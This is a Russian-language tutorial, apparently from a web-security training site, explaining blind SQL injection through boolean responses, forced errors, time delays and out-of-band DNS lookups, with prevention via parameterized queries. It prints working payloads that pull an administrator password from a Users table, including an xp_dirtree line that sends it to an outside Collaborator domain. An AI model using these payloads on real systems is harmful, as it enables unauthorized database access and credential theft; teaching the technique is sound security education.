Перейти к содержанию

Слепая SQL-инъекция

В этом разделе мы описываем методы поиска и использования уязвимостей, связанных с внедрением SQL вслепую.

Что такое слепая SQL-инъекция?

Слепое внедрение SQL происходит, когда приложение уязвимо для внедрения SQL, но его HTTP-ответы не содержат результатов соответствующего SQL-запроса или сведений о каких-либо ошибках базы данных.

Многие методы, такие как UNION атака, неэффективны при уязвимостях слепого внедрения SQL. Это происходит потому, что они полагаются на возможность видеть результаты введенного запроса в ответах приложения. По-прежнему возможно использовать слепую SQL-инъекцию для доступа к несанкционированным данным, но необходимо использовать другие методы.

Использование слепой SQL-инъекции путем запуска условных ответов

Рассмотрим приложение, которое использует отслеживающие файлы cookie для сбора аналитических данных об использовании. Запросы к приложению включают заголовок файла cookie, подобный этому:

Cookie: TrackingId=44MD3PapBcR8lN3e7Tj4

Когда обрабатывается запрос, содержащий файл cookie TrackingID, приложение использует SQL-запрос, чтобы определить, является ли это известный пользователь:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = '44MD3PapBcR8lN3e7Tj4'

Этот запрос уязвим для SQL-инъекции, но результаты запроса не возвращаются пользователю. Однако приложение ведет себя по-разному в зависимости от того, возвращает ли запрос какие-либо данные. Если вы отправляете распознанный идентификатор отслеживания, запрос возвращает данные, и в ответ вы получаете сообщение "Добро пожаловать обратно".

Такого поведения достаточно, чтобы иметь возможность использовать уязвимость слепой SQL-инъекции. Вы можете извлекать информацию, запуская различные ответы условно, в зависимости от введенного условия.

Чтобы понять, как работает этот эксплойт, предположим, что по очереди отправляются два запроса, содержащие следующие значения cookie TrackingID:

...xyz' AND '1'='1
...xyz' AND '1'='2
  • Первое из этих значений приводит к тому, что запрос возвращает результаты, поскольку введенное условие AND '1'='1 true (истинно). В результате отображается сообщение "Добро пожаловать обратно".
  • Второе значение приводит к тому, что запрос не возвращает никаких результатов, поскольку введенное условие равно false (ложно). Сообщение "Добро пожаловать обратно" не отображается.

Это позволяет нам определять ответ на любое введенное условие и извлекать данные по одному фрагменту за раз.

Например, предположим, что существует таблица под названием Users со столбцами Username и Password и пользователь с именем Administrator. Вы можете определить пароль для этого пользователя, отправив серию входных данных для проверки пароля по одному символу за раз.

Чтобы сделать это, начните со следующего ввода:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

Это возвращает сообщение "Добро пожаловать обратно", указывающее, что введенное условие истинно, и поэтому первый символ пароля больше m.

Далее мы отправляем следующие входные данные:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

Это не возвращает сообщение "Добро пожаловать обратно", указывающее на то, что введенное условие является ложным, и поэтому первый символ пароля не больше t.

В конце концов, мы отправляем следующий ввод, который возвращает сообщение "Добро пожаловать обратно", тем самым подтверждая, что первым символом пароля является s:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

Мы можем продолжить этот процесс, чтобы систематически определять полный пароль для пользователя Administrator.

SQL-инъекция на основе ошибок

SQL-инъекция на основе ошибок относится к случаям, когда вы можете использовать сообщения об ошибках для извлечения или вывода конфиденциальных данных из базы данных, даже в слепых контекстах. Возможности зависят от конфигурации базы данных и типов ошибок, которые вы можете вызвать:

  • Возможно, вам удастся заставить приложение возвращать определенный ответ об ошибке, основанный на результате логического выражения. Вы можете использовать это таким же образом, как и условные ответы, которые мы рассматривали в предыдущем разделе. Дополнительные сведения см. в разделе Использование слепой SQL-инъекции путем получения условных ошибок.
  • Возможно, вам удастся вызвать сообщения об ошибках, которые выводят данные, возвращаемые запросом. Это эффективно превращает невидимые в противном случае уязвимости SQL-инъекций в видимые. Дополнительные сведения см. в разделе Извлечение конфиденциальных данных с помощью подробных сообщений об ошибках SQL.

Использование слепой SQL-инъекции путем получения условных ошибок

Некоторые приложения выполняют SQL-запросы, но их поведение не меняется, независимо от того, возвращает ли запрос какие-либо данные. Метод, описанный в предыдущем разделе, не сработает, поскольку введение различных логических условий не влияет на ответы приложения.

Часто можно заставить приложение возвращать другой ответ в зависимости от того, возникает ли ошибка SQL. Вы можете изменить запрос таким образом, чтобы он вызывал ошибку базы данных только в том случае, если условие истинно. Очень часто необработанная ошибка, выданная базой данных, приводит к некоторым различиям в реакции приложения, таким как сообщение об ошибке. Это позволяет вам сделать вывод об истинности введенного условия.

Чтобы увидеть, как это работает, предположим, что по очереди отправляются два запроса, содержащие следующие значения cookie TrackingID:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

Эти входные данные используют ключевое слово CASE для проверки условия и возвращают другое выражение в зависимости от того, является ли выражение истинным:

При первом вводе выражение CASE вычисляется как 'a', что не приводит к какой-либо ошибке. При втором вводе значение равно 1/0, что приводит к ошибке деления на ноль. Если ошибка приводит к различию в HTTP-ответе приложения, вы можете использовать это, чтобы определить, является ли введенное условие истинным.

Используя этот метод, вы можете извлекать данные, проверяя по одному символу за раз:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

Примечание

Существуют разные способы запуска условных ошибок, и разные методы лучше всего работают с разными типами баз данных. Для получения более подробной информации смотрите шпаргалку по SQL инъекциям.

Извлечение конфиденциальных данных с помощью подробных сообщений об ошибках SQL

Неправильная настройка базы данных иногда приводит к появлению подробных сообщений об ошибках. Они могут предоставить информацию, которая может быть полезна злоумышленнику. Например, рассмотрим следующее сообщение об ошибке, которое возникает после ввода одинарной кавычки в параметр id:

Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char

Здесь показан полный запрос, созданный приложением с использованием наших входных данных. Мы можем видеть, что в данном случае мы вводим строку в одинарных кавычках внутри оператора WHERE. Это упрощает создание корректного запроса, содержащего вредоносную полезную нагрузку. Закомментирование остальной части запроса предотвратило бы нарушение синтаксиса лишними одинарными кавычками.

Иногда вы можете побудить приложение сгенерировать сообщение об ошибке, содержащее некоторые данные, возвращаемые запросом. Это эффективно превращает невидимую в противном случае уязвимость SQL-инъекции в видимую.

Вы можете использовать функцию CAST() для достижения этой цели. Это позволяет вам преобразовывать один тип данных в другой. Например, представьте запрос, содержащий следующую инструкцию:

CAST((SELECT example_column FROM example_table) AS int)

Часто данные, которые вы пытаетесь прочитать, представляют собой строку. Попытка преобразовать это значение в несовместимый тип данных, такой как int, может привести к ошибке, подобной следующей:

ERROR: invalid input syntax for type integer: "Example data"

Этот тип запроса также может быть полезен, если ограничение по количеству символов не позволяет вам запускать условные ответы.

Использование слепой SQL-инъекции путем запуска c временными задержками

Если приложение улавливает ошибки базы данных при выполнении SQL-запроса и корректно обрабатывает их, в ответе приложения не будет никакой разницы. Это означает, что предыдущий метод создания условных ошибок работать не будет.

В этой ситуации часто можно воспользоваться уязвимостью слепой SQL-инъекции, вызывая временные задержки в зависимости от того, является ли введенное условие истинным или ложным. Поскольку SQL-запросы обычно обрабатываются приложением синхронно, задержка выполнения SQL-запроса также приводит к задержке HTTP-ответа. Это позволяет вам определить истинность введенного условия на основе времени, затраченного на получение HTTP-ответа.

Методы запуска временной задержки зависят от типа используемой базы данных. Например, на Microsoft SQL Server вы можете использовать следующее для проверки условия и запуска задержки в зависимости от того, является ли выражение истинным:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

Первый из этих входных данных не вызывает задержки, поскольку условие 1=2 является ложным. Второй ввод вызывает задержку в 10 секунд, поскольку условие 1=1 истинно.

Используя этот метод, мы можем извлекать данные, тестируя по одному символу за раз:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Примечание

Существуют различные способы инициирования временных задержек в SQL-запросах, и различные методы применяются к различным типам баз данных. Для получения более подробной информации смотрите шпаргалку по SQL инъекциям.

Использование слепой SQL-инъекции с использованием внеполосных методов (OAST)

Приложение может выполнять тот же SQL-запрос, что и в предыдущем примере, но выполнять его асинхронно. Приложение продолжает обрабатывать запрос пользователя в исходном потоке и использует другой поток для выполнения SQL-запроса с использованием отслеживающего файла cookie. Запрос по-прежнему уязвим для SQL-инъекции, но ни один из описанных до сих пор методов не сработает. Ответ приложения не зависит от запроса, возвращающего какие-либо данные, возникновения ошибки базы данных или от времени, затраченного на выполнение запроса.

В этой ситуации часто можно воспользоваться уязвимостью "слепой SQL-инъекции", инициируя внеполосные сетевые взаимодействия с системой, которой вы управляете. Они могут быть запущены на основе введенного условия для вывода информации по одному фрагменту за раз. Что еще более полезно, данные могут быть отфильтрованы непосредственно в рамках сетевого взаимодействия.

Для этой цели могут использоваться различные сетевые протоколы, но, как правило, наиболее эффективным является DNS (служба доменных имен). Многие производственные сети допускают свободный доступ к DNS-запросам, поскольку они необходимы для нормальной работы производственных систем.

Самым простым и надежным инструментом для использования внеполосных техник является Burp Collaborator. Это сервер, который предоставляет пользовательские реализации различных сетевых служб, включая DNS. Это позволяет вам определять, когда происходят сетевые взаимодействия в результате отправки отдельных полезных данных уязвимому приложению. Burp Suite Professional включает в себя встроенный клиент, который настроен для работы с Burp Collaborator прямо из коробки. Для получения дополнительной информации смотрите документацию для Burp Collaborator.

Методы запуска DNS-запроса зависят от типа используемой базы данных. Например, следующие входные данные на сервере Microsoft SQL Server можно использовать для запуска поиска DNS в указанном домене:

'; exec master..xp_dirtree '//0dfdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

Это приводит к тому, что база данных выполняет поиск по следующему домену:

0dfdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

Вы можете использовать Burp Collaborator для создания уникального поддомена и опроса сервера Collaborator для подтверждения при выполнении любых запросов DNS.

Подтвердив способ запуска внеполосных взаимодействий, вы затем можете использовать внеполосный канал для эксфильтрации данных из уязвимого приложения. Например:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.wwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

Этот ввод считывает пароль пользователя-администратора, добавляет уникальный поддомен Collaborator и запускает поиск в DNS. Этот поиск позволяет вам просмотреть сохраненный пароль:

S3cure.wwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

Внеполосные методы (OAST) являются мощным способом обнаружения и использования слепой SQL-инъекции благодаря высокой вероятности успеха и возможности прямой эксфильтрации данных по внеполосному каналу. По этой причине методы OAST часто предпочтительнее даже в ситуациях, когда другие методы слепой эксплуатации действительно работают.

Примечание

Существуют различные способы запуска внеполосных взаимодействий, и к разным типам баз данных применяются разные методы. Для получения более подробной информации смотрите шпаргалку по SQL инъекциям.

Как предотвратить атаки с использованием слепых SQL-инъекций?

Хотя методы, необходимые для поиска и использования уязвимостей, связанных со слепым внедрением SQL, отличаются и являются более сложными, чем для обычного внедрения SQL, меры, необходимые для предотвращения внедрения SQL, те же.

Как и при обычном внедрении SQL, атаки с использованием слепых SQL-инъекций можно предотвратить за счет тщательного использования параметризованных запросов, которые гарантируют, что вводимые пользователем данные не могут повлиять на структуру предполагаемого SQL-запроса.